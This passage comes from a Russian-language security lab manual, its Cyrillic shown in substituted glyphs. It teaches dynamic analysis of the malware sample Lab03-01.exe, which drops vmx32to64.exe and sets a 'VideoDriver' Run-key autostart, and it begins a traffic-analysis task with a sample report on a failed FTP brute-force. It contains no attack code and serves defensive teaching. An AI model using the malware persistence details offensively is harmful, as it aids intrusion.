ʈʠʩʫʥʦʢ 41 ï ɺʳʚʦʜ ʜʘʥʥʳʭ 

 

ʈʠʩʫʥʦʢ 42 ï ɻʝʦʛʨʘʬʠʷ ʧʦʣʫʯʝʥʥʳʭ ʜʘʥʥʳʭ 

ɺʳʚʦʜ: ʠʟʫʯʠʚ ʩʪʨʫʢʪʫʨʫ ip-ʧʘʢʝʪʘ ʠ ʬʫʥʢʮʠʦʥʘʣʴʥʳʝ ʚʦʟʤʦʞʥʦʩʪʠ 

ʧʨʦʛʨʘʤʤʳ wireshark ʤʦʞʥʦ ʦʩʫʱʝʩʪʚʠʪʴ ʟʘʭʚʘʪ ʪʨʘʬʠʢʘ, ʧʨʦʚʝʩʪʠ ʝʛʦ 

ʛʨʘʬʠʯʝʩʢʠʡ ʠ ʛʝʦʛʨʘʬʠʯʝʩʢʠʡ ʘʥʘʣʠʟ. 

https://wiki.wireshark.org/HowToUseGeoIP
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ɿʘʜʘʥʠʝ ˉ 4. ɼʠʥʘʤʠʯʝʩʢʠʡ ʘʥʘʣʠʟ ʙʝʟʦʧʘʩʥʦʩʪʠ ʧʨʠʣʦʞʝʥʠʡ 

ʎʝʣʴ ʨʘʙʦʪʳ: ʧʨʦʚʝʩʪʠ ʜʠʥʘʤʠʯʝʩʢʠʡ ʘʥʘʣʠʟ ʬʘʡʣʘ Lab03-01.exe. 

ɼʠʥʘʤʠʯʝʩʢʠʡ ʘʥʘʣʠʟ ð ʵʪʦ ʚʪʦʨʦʡ ʵʪʘʧ ʠʩʩʣʝʜʦʚʘʥʠʷ ʚʨʝʜʦʥʦʩʥʦʛʦ 

ʢʦʜʘ, ʢʦʪʦʨʳʡ ʧʨʦʚʦʜʠʪʩʷ ʧʦʩʣʝ ʩʪʘʪʠʯʝʩʢʦʛʦ ʘʥʘʣʠʟʘ, ʢʦʛʜʘ ʧʦʩʣʝʜʥʠʡ 

ʥʝʵʬʬʝʢʪʠʚʝʥ ʠʟ-ʟʘ ʦʙʬʫʩʢʘʮʠʠ ʠʣʠ ʜʨʫʛʠʭ ʧʨʠʯʠʥ. ɼʠʥʘʤʠʯʝʩʢʠʡ ʘʥʘʣʠʟ 

ʧʦʟʚʦʣʷʝʪ ʥʘʙʣʶʜʘʪʴ ʟʘ ʨʝʘʣʴʥʳʤ ʧʦʚʝʜʝʥʠʝʤ ʚʨʝʜʦʥʦʩʥʦʡ ʧʨʦʛʨʘʤʤʳ, ʯʪʦ 

ʦʪʣʠʯʘʝʪʩʷ ʦʪ ʩʪʘʪʠʯʝʩʢʦʛʦ ʘʥʘʣʠʟʘ, ʛʜʝ ʧʨʦʠʩʭʦʜʠʪ ʘʥʘʣʠʟ ʢʦʜʘ ʙʝʟ ʝʛʦ 

ʚʳʧʦʣʥʝʥʠʷ. ʕʪʦʪ ʤʝʪʦʜ ʪʘʢʞʝ ʧʦʟʚʦʣʷʝʪ ʦʧʨʝʜʝʣʠʪʴ ʬʫʥʢʮʠʦʥʘʣʴʥʦʩʪʴ 

ʚʨʝʜʦʥʦʩʥʦʛʦ ʇʆ, ʯʪʦ ʤʦʞʝʪ ʙʳʪʴ ʩʣʦʞʥʦ ʩʜʝʣʘʪʴ ʩʪʘʪʠʯʝʩʢʠ. 

ɼʠʥʘʤʠʯʝʩʢʠʡ ʘʥʘʣʠʟ ʵʬʬʝʢʪʠʚʝʥ, ʥʦ ʜʦʣʞʝʥ ʧʨʦʚʦʜʠʪʴʩʷ ʦʩʪʦʨʦʞʥʦ, ʪʘʢ 

ʢʘʢ ʤʦʞʝʪ ʧʨʝʜʩʪʘʚʣʷʪʴ ʨʠʩʢʠ ʜʣʷ ʩʝʪʠ ʠ ʩʠʩʪʝʤʳ. ʆʥ ʪʘʢʞʝ ʠʤʝʝʪ 

ʦʛʨʘʥʠʯʝʥʠʷ, ʦʩʦʙʝʥʥʦ ʢʦʛʜʘ ʚʨʝʜʦʥʦʩʥʳʡ ʢʦʜ ʠʤʝʝʪ ʤʥʦʞʝʩʪʚʦ ʚʘʨʠʘʥʪʦʚ 

ʚʧrʦʣʥʝʥʠʷ ʬʫʥʢʮʠʡ. ɺ ʵʪʦʤ ʟʘʜʘʥʠʠ ʨʘʩʩʤʦʪʨʝʥʳ ʙʘʟʦʚʳʝ ʤʝʪʦʜʳ 

ʜʠʥʘʤʠʯʝʩʢʦʛʦ ʘʥʘʣʠʟʘ ʧʨʦʛʨʘʤʤ. 

ɼʣʷ ʚʳʧʦʣʥʝʥʠʷ ʨʘʙʦʪʳ ʥʝʦʙʭʦʜʠʤʦ ʫʩʪʘʥʦʚʠʪʴ ʩʣʝʜʫʶʱʝʝ 

ʧʨʦʛʨʘʤʤʥʦʝ ʦʙʝʩʧʝʯʝʥʠʝ (ʇʆ): 

1. Process Monitor  ð ʕʪʦ ʫʪʠʣʠʪʘ ʜʣʷ ʤʦʥʠʪʦʨʠʥʛʘ ʧʨʦʮʝʩʩʦʚ ʚ 

ʦʧʝʨʘʮʠʦʥʥʦʡ ʩʠʩʪʝʤʝ Windows. ʆʥʘ ʦʪʩʣʝʞʠʚʘʝʪ ʘʢʪʠʚʥʦʩʪʴ ʬʘʡʣʦʚ, 

ʨʝʝʩʪʨʘ ʠ ʩʝʪʠ, ʧʦʟʚʦʣʷʷ ʧʦʣʴʟʦʚʘʪʝʣʷʤ ʥʘʙʣʶʜʘʪʴ ʟʘ ʨʘʙʦʪʦʡ ʧʨʠʣʦʞʝʥʠʡ ʠ 

ʩʠʩʪʝʤʳ. 

2. Process Explorer  ð ʕʪʦ ʙʦʣʝʝ ʤʦʱʥʳʡ ʜʠʩʧʝʪʯʝʨ ʟʘʜʘʯ ʜʣʷ 

Windows, ʢʦʪʦʨʳʡ ʧʨʝʜʦʩʪʘʚʣʷʝʪ ʧʦʜʨʦʙʥʫʶ ʠʥʬʦʨʤʘʮʠʶ ʦ ʟʘʧʫʱʝʥʥʳʭ 

ʧʨʦʮʝʩʩʘʭ, ʚʢʣʶʯʘʷ ʟʘʚʠʩʠʤʦʩʪʠ ʠ ʨʝʩʫʨʩʳ, ʢʦʪʦʨʳʝ ʦʥʠ ʠʩʧʦʣʴʟʫʶʪ. 

3. Dependency Walker  ð ʕʪʦ ʠʥʩʪʨʫʤʝʥʪ ʜʣʷ ʘʥʘʣʠʟʘ ʟʘʚʠʩʠʤʦʩʪʝʡ 

ʧʨʦʛʨʘʤʤʳ. ʆʥ ʧʦʟʚʦʣʷʝʪ ʦʧʨʝʜʝʣʠʪʴ, ʢʘʢʠʝ ʙʠʙʣʠʦʪʝʢʠ ʠ ʬʘʡʣʳ 

ʠʩʧʦʣʴʟʫʶʪʩʷ ʧʨʠʣʦʞʝʥʠʝʤ, ʯʪʦ ʧʦʣʝʟʥʦ ʧʨʠ ʨʘʟʨʝʰʝʥʠʠ ʧʨʦʙʣʝʤ ʩ 

ʦʪʩʫʪʩʪʚʫʶʱʠʤʠ ʠʣʠ ʥʝʧʨʘʚʠʣʴʥʳʤʠ ʬʘʡʣʘʤʠ. 

4. Regshot ð ʕʪʦ ʠʥʩʪʨʫʤʝʥʪ ʜʣʷ ʩʨʘʚʥʝʥʠʷ ʨʝʝʩʪʨʦʚʦʡ ʙʘʟʳ ʜʘʥʥʳʭ 

Windows ʜʦ ʠ ʧʦʩʣʝ ʚʳʧʦʣʥʝʥʠʷ ʜʝʡʩʪʚʠʡ ʠʣʠ ʫʩʪʘʥʦʚʢʠ ʧʨʦʛʨʘʤʤʳ. ʆʥ 

ʧʦʤʦʛʘʝʪ ʚʳʷʚʠʪʴ ʠʟʤʝʥʝʥʠʷ ʚ ʨʝʝʩʪʨʝ, ʢʦʪʦʨʳʝ ʤʦʛʫʪ ʙʳʪʴ ʩʚʷʟʘʥʳ ʩ 

ʫʩʪʘʥʦʚʢʦʡ ʠʣʠ ʜʝʠʥʩʪʘʣʣʷʮʠʝʡ ʧʨʦʛʨʘʤʤ. 

5. Wireshark  ð ʕʪʦ ʤʦʱʥʳʡ ʩʥʠʬʬʝʨ ʩʝʪʝʚʦʛʦ ʪʨʘʬʠʢʘ, ʢʦʪʦʨʳʡ 

ʨʘʙʦʪʘʝʪ ʥʘ ʨʘʟʣʠʯʥʳʭ ʧʣʘʪʬʦʨʤʘʭ. ʆʥ ʧʦʟʚʦʣʷʝʪ ʘʥʘʣʠʟʠʨʦʚʘʪʴ ʠ 

ʟʘʭʚʘʪʳʚʘʪʴ ʧʘʢʝʪʳ ʜʘʥʥʳʭ ʚ ʩʝʪʠ, ʯʪʦ ʧʦʣʝʟʥʦ ʜʣʷ ʜʠʘʛʥʦʩʪʠʢʠ ʩʝʪʝʚʳʭ 

ʧʨʦʙʣʝʤ ʠ ʘʥʘʣʠʟʘ ʙʝʟʦʧʘʩʥʦʩʪʠ.  
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ɺʩʝ ʠʥʩʪʨʫʤʝʥʪʳ, ʦʧʠʩʘʥʥʳʝ ʚʳʰʝ, ʤʦʞʥʦ ʠʩʧʦʣʴʟʦʚʘʪʴ ʩʦʚʤʝʩʪʥʦ, 

ʯʪʦʙʳ ʤʘʢʩʠʤʠʟʠʨʦʚʘʪʴ ʦʙʲʝʤ ʠʥʬʦʨʤʘʮʠʠ, ʧʦʣʫʯʝʥʥʦʡ ʚ ʨʝʟʫʣʴʪʘʪʝ 

ʜʠʥʘʤʠʯʝʩʢʦʛʦ ʘʥʘʣʠʟʘ.  

ɼʣʷ ʜʠʥʘʤʠʯʝʩʢʦʛʦ ʘʥʘʣʠʟʘ ʇʆ ʥʫʞʥʦ ʚʳʧʦʣʥʠʪʴ ʩʣʝʜʫʶʱʠʝ ʰʘʛʠ: 

1. ɿʘʧʫʩʪʠʪʴ Process Monitor, ʫʩʪʘʥʦʚʠʪʴ ʬʠʣʴʪʨ ʩ ʠʤʝʥʝʤ 

ʠʩʧʦʣʥʷʝʤʦʛʦ ʬʘʡʣʘ ʠ ʦʯʠʩʪʠʪʴ ʚʩʝ ʩʦʙʳʪʠʷ, ʟʘʧʠʩʘʥʥʳʝ ʨʘʥʝʝ. 

2.ɿʘʧʫʩʪʠʪʴ Process Explorer. 

3. ɸʢʪʠʚʠʟʠʨʦʚʘʪʴ ʟʘʧʠʩʴ ʩʝʪʝʚʦʛʦ ʪʨʘʬʠʢʘ ʩ ʠʩʧʦʣʴʟʦʚʘʥʠʝʤ 

Wireshark 

4. ʉʜʝʣʘʪʴ ʧʝʨʚʳʡ ʩʥʠʤʦʢ ʨʝʝʩʪʨʘ ʩ ʧʦʤʦʱʴʶ Regshot. 

5. ɿʘʧʫʩʪʠʪʴ ʠʟʫʯʘʝʤʦʝ ʇʆ 

6. ʉʜʝʣʘʪʴ ʚʪʦʨʦʡ ʩʥʠʤʦʢ ʨʝʝʩʪʨʘ ʩ ʧʦʤʦʱʴʶ Regshot. 

7. ʇʨʦʚʝʩʪʠ ʘʥʘʣʠʟ ʧʦʣʫʯʝʥʥʳʭ ʜʘʥʥʳʭ ʩʦ ʚʩʝʭ ʧʨʦʛʨʘʤʤ. 

ʇʨʠʤʝʨ ʚʳʧʦʣʥʝʥʠʷ ʟʘʜʘʥʠ ̫ 

ʅʝʦʙʭʦʜʠʤʦ ʧʨʦʠʟʚʝʩʪʠ ʘʥʘʣʠʟ ʬʘʡʣʘ Lab03-01.exe 

ʅʘ ʧʝʨʚʦʤ ʵʪʘʧʝ ʪʨʝʙʫʝʪʩʷ ʚʦʩʧʦʣʴʟʦʚʘʪʴʩʷ ʩʪʘʪʠʯʝʩʢʠʤ ʘʥʘʣʠʟʦʤ. 

ʅʝʦʙʭʦʜʠʤʦ ʦʪʢʨʳʪʴ ʠʩʩʣʝʜʫʝʤʫʶ ʧʨʦʛʨʘʤʤʫ ʚ PEview. ʅʘ ʨʠʩʫʥʢʝ 43 

ʧʨʝʜʩʪʘʚʣʝʥʦ, ʯʪʦ ʠʤʧʦʨʪʠʨʫʝʪʩʷ ʪʦʣʴʢʦ ʦʜʥʘ ʙʠʙʣʠʦʪʝʢʘ ï kernel32.dll. ɺ 

ʪʘʙʣʠʮʝ ʘʜʨʝʩʦʚ ʠʤʧʦʨʪʘ ʚʠʜʥʦ, ʢʘʢ ʠʤʧʦʨʪʠʨʫʝʪʩʷ ʣʠʰʴ ʦʜʠʥ ʚʳʟʦʚ ï 

ExitProcess. ʅʘ ʦʩʥʦʚʝ ʵʪʦʡ ʠʥʬʦʨʤʘʮʠʠ ʩʣʦʞʥʦ ʩʜʝʣʘʪʴ ʚʳʚʦʜ ʦ 

ʚʦʟʤʦʞʥʦʩʪʷʭ ʧʨʦʛʨʘʤʤʳ. 

 

ʈʠʩʫʥʦʢ 43 ï ʊʘʙʣʠʮʘ ʘʜʨʝʩʦʚ ʠʤʧʦʨʪʘ 
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ɼʘʣʝʝ ʥʝʦʙʭʦʜʠʤʦ ʧʦʩʤʦʪʨʝʪʴ ʥʘ ʩʪʨʦʢʠ, ʢʦʪʦʨʳʝ ʝʩʪʴ ʚ ʠʩʩʣʝʜʫʝʤʦʤ 

ʇʆ. 

 

ʈʠʩʫʥʦʢ 44 ï ʉʪʨʦʢʠ ʚ ʠʩʩʣʝʜʫʝʤʦʤ ʇʆ 

ɿʜʝʩʴ ʧʨʝʜʩʪʘʚʣʝʥʦ ʤʥʦʛʦ ʥʝʦʙʭʦʜʠʤʳʭ ʟʥʘʯʝʥʠʡ, ʪʘʢʠʭ ʢʘʢ ʢʣʶʯʠ 

ʨʝʝʩʪʨʘ, ʜʦʤʝʥʥʦʝ ʠʤʷ, ʘ ʪʘʢʞʝ ʥʘʟʚʘʥʠʷ WinVMX32, VideoDriver ʠ 

vmx32to64.exe. ʊʨʝʙʫʝʪʩʷ ʧʨʦʚʝʨʠʪʴ, ʫʜʘʩʪʩʷ ʣʠ ʦʧʨʝʜʝʣʠʪʴ ʠʭ ʥʘʟʥʘʯʝʥʠʝ ʩ 

ʧʦʤʦʱʴʶ ʙʘʟʦʚʳʭ ʤʝʪʦʜʠʢ ʜʠʥʘʤʠʯʝʩʢʦʛʦ ʘʥʘʣʠʟʘ. 

ɼʣʷ ʥʘʯʘʣʘ ʥʝʦʙʭʦʜʠʤʦ ʟʘʧʫʩʪʠʪʴ Process Monitor. ʇʦʩʣʝ ʵʪʦʛʦ 

ʨʝʢʦʤʝʥʜʫʝʪʩʷ ʦʪʢʣʶʯʠʪʴ ʟʘʭʚʘʪ ʧʨʦʮʝʩʩʦʚ, ʪ.ʢ. ʧʨʦʮʝʩʩʦʚ ʚ ʩʠʩʪʝʤʝ ʤʥʦʛʦ, 

ʯʪʦ ʧʝʨʝʛʨʫʞʘʝʪ ʦʧʝʨʘʮʠʦʥʥʫʶ ʩʠʩʪʝʤʫ.  

 

ʈʠʩʫʥʦʢ 45 ï ʆʪʢʣʶʯʝʥʠʝ ʟʘʭʚʘʪʘ ʧʨʦʮʝʩʩʦʚ 
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ɼʘʣʝʝ ʥʝʦʙʭʦʜʠʤʦ ʦʪʢʨʳʪʴ ʚʢʣʘʜʢʫ ñʬʠʣʴʪʨò, ʯʪʦʙʳ ʦʪʩʝʷʪʴ ʣʠʰʥʠʝ 

ʧʨʦʮʝʩʩʳ.  

 

ʈʠʩʫʥʦʢ 46 ï ʌʠʣʴʪʨ Process Monitor  

ʊʨʝʙʫʝʪʩʷ ʧʦʜʧʠʩʘʪʴ ʬʠʣʴʪʨ ʚ ʩʦʦʪʚʝʪʩʪʚʠʠ ʩ ʠʤʝʥʝʤ ʧʨʦʮʝʩʩʘ, ʚ 

ʥʘʰʝʤ ʩʣʫʯʘʝ Lab03-01.exe. 

 

ʈʠʩʫʥʦʢ 47 ï ʌʠʣʴʪʨ ʧʦ ʠʤʝʥʠ ʧʨʦʮʝʩʩʘ 

ʅʘʩʪʨʦʡʢʘ Process Monitor ʥʘ ʜʘʥʥʦʤ ʵʪʘʧʝ ʟʘʚʝʨʰʝʥʘ. ɼʣʷ ʩʣʝʜʫʶʱʝʛʦ 

ʵʪʘʧʘ ʥʝʦʙʭʦʜʠʤʦ ʟʘʧʫʩʪʠʪʴ ʧʨʦʛʨʘʤʤʫ Process Explorer. 
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ʈʠʩʫʥʦʢ 48 ï Process Explorer 

ɺ ʜʘʥʥʦʡ ʧʨʦʛʨʘʤʤʝ ʤʦʞʥʦ ʫʚʠʜʝʪʴ ʚʩʝ ʟʘʧʫʱʝʥʥʳʝ ʧʨʦʮʝʩʩʳ. ʇʦ 

ʬʫʥʢʮʠʦʥʘʣʫ ʧʨʦʛʨʘʤʤʘ ʧʦʭʦʞʘ ʥʘ ʜʠʩʧʝʪʯʝʨ ʟʘʜʘʯ, ʥʦ ʠʤʝʝʪ ʙʦʣʝʝ ʫʜʦʙʥʳʡ 

ʠʥʪʝʨʬʝʡʩ ʠ ʙʦʣʴʰʝ ʜʦʩʪʫʧʥʳʭ ʬʫʥʢʮʠʡ.  

ɼʘʣʝʝ ʪʨʝʙʫʝʪʩʷ ʟʘʧʫʩʪʠʪʴ wireshark, ʯʪʦʙʳ ʧʨʦʚʝʨʠʪʴ, ʠʤʝʝʪ ʣʠ ʇʆ 

ʩʝʪʝʚʦʡ ʬʫʥʢʮʠʦʥʘʣ.  

 

ʈʠʩʫʥʦʢ 49 ï Wireshark 

ʊʝʧʝʨʴ ʥʝʦʙʭʦʜʠʤʦ ʟʘʧʫʩʪʠʪʴ ʧʨʦʛʨʘʤʤʫ RegShot ʠ ʩʦʟʜʘʪʴ ʧʝʨʚʳʡ 

ʩʥʠʤʦʢ ʨʝʝʩʪʨʘ.  



39 

 

 

ʈʠʩʫʥʦʢ 50 ï ʇʝʨʚʳʡ ʩʥʠʤʦʢ RegShot 

ʇʦʩʣʝ ʟʘʧʫʩʢʘ ʚʩʝʭ ʇʆ ʜʣʷ ʘʥʘʣʠʟʘ ʪʨʝʙʫʝʪʩʷ ʦʪʢʨʳʪʴ ʠʩʩʣʝʜʫʝʤʫʶ 

ʧʨʦʛʨʘʤʤʫ. 

 

ʈʠʩʫʥʦʢ 51 ï ɿʘʧʫʩʢ ʠʩʩʣʝʜʫʝʤʦʛʦ ʇʆ 

ʇʦʩʣʝ ʦʪʢʨʳʪʠʷ ʥʝʦʙʭʦʜʠʤʦ ʩʜʝʣʘʪʴ ʚʪʦʨʦʡ ʩʥʠʤʦʢ ʨʝʝʩʪʨʘ ʚ 

ʧʨʦʛʨʘʤʤʝ RegShot ʠ ʚʳʚʝʩʪʠ ʧʦʣʫʯʝʥʥʳʝ ʜʘʥʥʳʝ ʚ txt ʬʘʡʣ. 



40 

 

 

ʈʠʩʫʥʦʢ 52 ï ɺʪʦʨʦʡ ʩʥʠʤʦʢ RegShot 

 

ʈʠʩʫʥʦʢ 53 ï ɺʳʚʦʜ ʨʝʟʫʣʴʪʘʪʘ ʨʘʙʦʪʳ ʧʨʦʛʨʘʤʤʳ 

ʊʝʧʝʨʴ ʥʝʦʙʭʦʜʠʤʦ ʧʨʦʩʤʦʪʨʝʪʴ ʨʝʟʫʣʴʪʘʪʳ ʨʘʙʦʪʳ ʟʘʧʫʱʝʥʥʳʭ ʨʘʥʝʝ 

ʧʨʦʛʨʘʤʤ ʜʣʷ ʜʠʥʘʤʠʯʝʩʢʦʛʦ ʘʥʘʣʠʟʘ. 

ʅʘ ʨʠʩʫʥʢʝ 54 ʚʠʜʥʦ, ʯʪʦ ʧʨʦʛʨʘʤʤʘ ʩʦʟʜʘʣʘ ʠʩʧʦʣʥʷʝʤʳʡ ʬʘʡʣ 

vmx32to64.exe ʠ ʟʘʧʠʩʘʣʘ ʥʝʢʦʝ ʟʥʘʯʝʥʠʝ ʚ ʨʝʝʩʪʨ.  
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ʈʠʩʫʥʦʢ 54 ï ʈʝʟʫʣʴʪʘʪ ʨʘʙʦʪʳ Process Monitor 

ʇʨʠʤʝʯʘʥʠʝ: ɿʘʧʠʩʠ ʥʦʚʳʭ ʟʥʘʯʝʥʠʡ ʚ ʨʝʝʩʪʨʝ ʧʦ ʧʫʪʠ 

HKLM\SOFTWARE\Microsoft\  Cryptography\RNG\Seed ʩʤʦʪʨʝʪʴ ʥʝ ʪʨʝʙʫʝʪʩʷ, ʧʦʩʢʦʣʴʢʫ 

ʧʨʦʛʨʘʤʤʘ ʧʦʩʪʦʷʥʥʦ ʦʙʥʦʚʣʷʝʪ ʥʘʯʘʣʴʥʦʝ ʟʥʘʯʝʥʠʝ ʛʝʥʝʨʘʪʦʨʘ ʩʣʫʯʘʡʥʳʭ 

ʯʠʩʝʣ, ʭʨʘʥʷʱʝʝʩʷ ʚ ʨʝʝʩʪʨʝ. 

ɽʩʣʠ ʧʦʩʤʦʪʨʝʪʴ ʚ Process Explorer, ʪʦ ʤʦʞʥʦ ʫʚʠʜʝʪʴ ʥʦʚʳʡ ʧʨʦʮʝʩʩ 

ʧʦʜ ʥʘʟʚʘʥʠʝʤ vmx32to64.exe. ʀʤʝʥʥʦ ʪʘʢʦʡ ʬʘʡʣ ʙʳʣ ʩʦʟʜʘʥ ʠʟʫʯʘʝʤʦʡ 

ʧʨʦʛʨʘʤʤʦʡ.  

 

ʈʠʩʫʥʦʢ 55 ï ʇʨʦʮʝʩʩ vmx32to64.exe 

ʊʝʧʝʨʴ ʥʝʦʙʭʦʜʠʤʦ ʧʨʦʚʝʨʠʪʴ, ʢʘʢʦʡ ʢʣʶʯ ʙʳʣ ʩʦʟʜʘʥ ʚ ʨʝʝʩʪʨʝ. 

ʅʦʚʳʡ ʢʣʶʯ ʨʝʝʩʪʨʘ ʠʩʧʦʣʴʟʫʝʪʩʷ ʜʣʷ ʟʘʧʫʩʢʘ ʬʘʡʣʘ vmx32to64.exe ʚʤʝʩʪʝ ʩ 
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ʩʠʩʪʝʤʦʡ. ʇʫʪʴ ʢ ʥʝʤʫ ʢʦʧʠʨʫʝʪʩʷ ʠʟ ʢʣʶʯʘ HKLM \SOFTWARE\Microsoft\W

indows\CurrentVersion\Run. ʇʨʠ ʵʪʦʤ ʩʦʟʜʘʝʪʩʷ ʢʣʶʯ ʩ ʠʤʝʥʝʤ VideoDriver. 

 

ʈʠʩʫʥʦʢ 56 ï ʅʦʚʳʡ ʢʣʶʯ ʨʝʝʩʪʨʘ ʩ ʘʚʪʦʟʘʧʫʩʢʦʤ vmx32to64.exe 

ɼʘʣʝʝ ʥʝʦʙʭʦʜʠʤʦ ʧʨʦʚʝʨʠʪʴ wireshark ʥʘ ʥʘʣʠʯʠʝ ʩʝʪʝʚʦʡ ʘʢʪʠʚʥʦʩʪʠ. 

 

ʈʠʩʫʥʦʢ 57 ï ʈʝʟʫʣʴʪʘʪ ʨʘʙʦʪʳ wireshark 

ʀʩʭʦʜʷ ʠʟ ʧʨʝʜʩʪʘʚʣʝʥʥʳʭ ʜʘʥʥʳʭ, ʤʦʞʥʦ ʩʜʝʣʘʪʴ ʚʳʚʦʜ, ʯʪʦ ʧʦʩʣʝ 

ʟʘʧʫʩʢʘ ʧʨʦʛʨʘʤʤʳ ʚ wireshark ʧʦʷʚʠʣʠʩʴ ʨʘʟʣʠʯʥʳʝ ʩʝʪʝʚʳʝ ʧʘʢʝʪʳ. 

ʇʨʠʤʝʯʘʥʠʝ: ʚʠʨʪʫʘʣʴʥʘʷ ʤʘʰʠʥʘ ʦʪʢʣʶʯʝʥʘ ʦʪ ʩʝʪʠ. ʕʪʦ ʦʜʠʥ ʠʟ 

ʚʘʞʥʝʡʰʠʭ ʬʘʢʪʦʨʦʚ ʧʨʠ ʘʥʘʣʠʟʝ ʥʝʠʟʚʝʩʪʥʦʛʦ ʇʆ.  

ɺʳʚʦʜ: ʠʟʫʯʠʚ Lab03-01.exe ʤʦʞʥʦ ʩʜʝʣʘʪʴ ʚʳʚʦʜ ʯʪʦ ʜʘʥʥʳʡ ʬʘʡʣ 

ʩʦʟʜʘʝʪ ʥʦʚʳʡ ʠʩʧʦʣʥʷʝʤʳʡ ʬʘʡʣ, ʟʘʢʨʝʧʣʷʝʪʩʷ ʚ ʩʠʩʪʝʤʝ ʧʫʪʝʤ ʩʦʟʜʘʥʠʷ 

ʢʣʶʯʘ ʚ ʨʝʝʩʪʨʝ ʜʣʷ ʘʚʪʦʟʘʛʨʫʟʢʠ ʠ ʩʦʚʝʨʰʘʝʪ ʩʝʪʝʚʳʝ ʦʙʨʘʱʝʥʠʷ. 
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ɿʘʜʘʥʠʝ ˉ 5. ɸʥʘʣʠʟ ʩʝʪʝʚʦʛʦ ʪʨʘʬʠʢʘ 

ʎʝʣʴ ʨʘʙʦʪʳ: ʘʥʘʣʠʟ ʩʝʪʝʚʦʛʦ ʪʨʘʬʠʢʘ ʥʘ ʧʨʝʜʤʝʪ ʥʘʣʠʯʠʷ 

ʢʦʤʧʴʶʪʝʨʥʳʭ ʘʪʘʢ (ʜʘʣʝʝ - ʂɸ). ʇʦʩʣʝ ʚʳʷʚʣʝʥʠʷ ʂɸ ʩʪʫʜʝʥʪʫ ʥʝʦʙʭʦʜʠʤʦ 

ʧʨʦʠʟʚʝʩʪʠ ʤʘʢʩʠʤʘʣʴʥʦ ʧʦʜʨʦʙʥʦʝ ʦʧʠʩʘʥʠʝ ʂɸ ʩ ʦʙʷʟʘʪʝʣʴʥʳʤ ʫʢʘʟʘʥʠʝʤ 

ʩʣʝʜʫʶʱʠʭ ʧʫʥʢʪʦʚ: 

- ʜʘʪʘ ʠ ʚʨʝʤʷ ʧʨʦʚʝʜʝʥʠʷ ʂɸ; 

- IP-ʘʜʨʝʩ ʘʪʘʢʫʶʱʝʛʦ; 

- IP-ʘʜʨʝʩ ʞʝʨʪʚʳ; 

- ʚʠʜ ʂɸ (ʅʘʧʨʠʤʝʨ: ʧʦʜʙʦʨ ʧʘʨʦʣʷ ʢ ʩʝʨʚʠʩʫ FTP, ʵʢʩʧʣʫʘʪʘʮʠʷ 

ʫʷʟʚʠʤʦʩʪʠ MS17-010, XSS, ʩʢʘʥʠʨʦʚʘʥʠʝ ʠ ʪʜ.) 

- ʫʩʧʝʰʥʦʩʪʴ ʂɸ (ʫʩʧʝʰʥʘ ʠʣʠ ʥʝʫʩʧʝʰʥʘ ʠ ʧʦʯʝʤʫ); 

- ʚ ʩʣʫʯʘʝ ʫʩʧʝʰʥʦʩʪʠ ʂɸ ʦʧʨʝʜʝʣʠʪʴ ʝʝ ʚʣʠʷʥʠʝ ʥʘ ʩʠʩʪʝʤʫ 

(ʅʘʧʨʠʤʝʨ: ʧʦʣʫʯʝʥʠʝ ʘʜʤʠʥʠʩʪʨʘʪʠʚʥʦʛʦ ʜʦʩʪʫʧʘ ʢ ʩʝʨʚʝʨʫ ʧʨʠ ʧʦʤʦʱʠ 

ʧʨʦʪʦʢʦʣʘ Telnet, ʧʦʣʫʯʝʥʠʝ ʥʝʧʨʠʚʠʣʝʛʠʨʦʚʘʥʥʦʛʦ ʜʦʩʪʫʧʘ ʢ ʩʝʨʚʝʨʫ ʩ 

ʧʨʘʚʘʤʠ ʧʦʣʴʟʦʚʘʪʝʣʷ oracle); 

- ʚ ʩʣʫʯʘʝ ʫʩʧʝʰʥʦʩʪʠ ʂɸ ʦʧʨʝʜʝʣʠʪʴ ʜʘʣʴʥʝʡʰʠʝ ʜʝʡʩʪʚʠʷ 

ʟʣʦʫʤʳʰʣʝʥʥʠʢʘ (ʅʘʧʨʠʤʝʨ: ʚʳʚʦʜ ʩʠʩʪʝʤʳ ʠʟ ʩʪʨʦʷ, ʧʦʚʳʰʝʥʠʝ 

ʧʨʠʚʠʣʝʛʠʡ, ʢʨʘʞʘ ʠʥʬʦʨʤʘʮʠʠ, ʤʦʜʠʬʠʢʘʮʠʷ ʠʥʬʦʨʤʘʮʠʠ, ʠʩʧʦʣʴʟʦʚʘʥʠʝ 

ʩʢʦʤʧʨʦʤʝʪʠʨʦʚʘʥʥʦʡ ʩʠʩʪʝʤʳ ʚ ʩʚʦʠʭ ʮʝʣʷʭ, ʟʘʛʨʫʟʢʘ ʚʨʝʜʦʥʦʩʥʦʛʦ 

ʧʨʦʛʨʘʤʤʥʦʛʦ ʦʙʝʩʧʝʯʝʥʠʷ ʠ ʪʜ.). 

ʇʨʝʧʦʜʘʚʘʪʝʣʴ ʚʳʜʘʝʪ ʧʝʨʩʦʥʘʣʴʥʦʝ ʟʘʜʘʥʠʝ ʠ ʘʨʭʠʚ ʪʨʘʬʠʢʘ. 

ʆʧʠʩʘʥʠʝ ʂɸ ʧʨʠʚʦʜʠʪʩʷ ʚ ʩʚʦʙʦʜʥʦʤ ʚʠʜʝ ʚ ʬʦʨʤʘʪʝ ʦʪʯʝʪʘ, ʥʝʦʙʭʦʜʠʤʦ 

ʠʩʧʦʣʴʟʦʚʘʪʴ ʩʢʨʠʥʰʦʪʳ, ʣʠʩʪʠʥʛʠ ʢʦʜʘ ʠ ʪʜ. 

ʇʨʠʤʝʨ ʦʬʦʨʤʣʝʥʠʷ ʦʪʯʝʪʘ: 

1) 20.08.2020 ʚ ʧʝʨʠʦʜ ʩ 10:00:13 ʧʦ 11:30:15 ʩ ʫʟʣʘ 192.168.1.1 

ʟʘʬʠʢʩʠʨʦʚʘʥʘ ʢʦʤʧʴʶʪʝʨʥʘʷ ʘʪʘʢʘ çʧʦʜʙʦʨ ʧʘʨʦʣʷ ʧʦ ʧʨʦʪʦʢʦʣʫ FTPè ʥʘ 

ʫʟʝʣ 192.168.20.20. ʂɸ ʥʝʫʩʧʝʰʥʘ, ʪ.ʢ. ʥʝ ʟʘʬʠʢʩʠʨʦʚʘʥʦ ʦʪʚʝʪʘ ʦʪ FTP-

ʩʝʨʚʝʨʘ ç230 Login successfulè. 

2) 20.08.2020 ʚ ʧʝʨʠʦʜ ʩ 10:05:33 ʧʦ 10:30:56 ʩ ʫʟʣʘ 192.168.1.1 

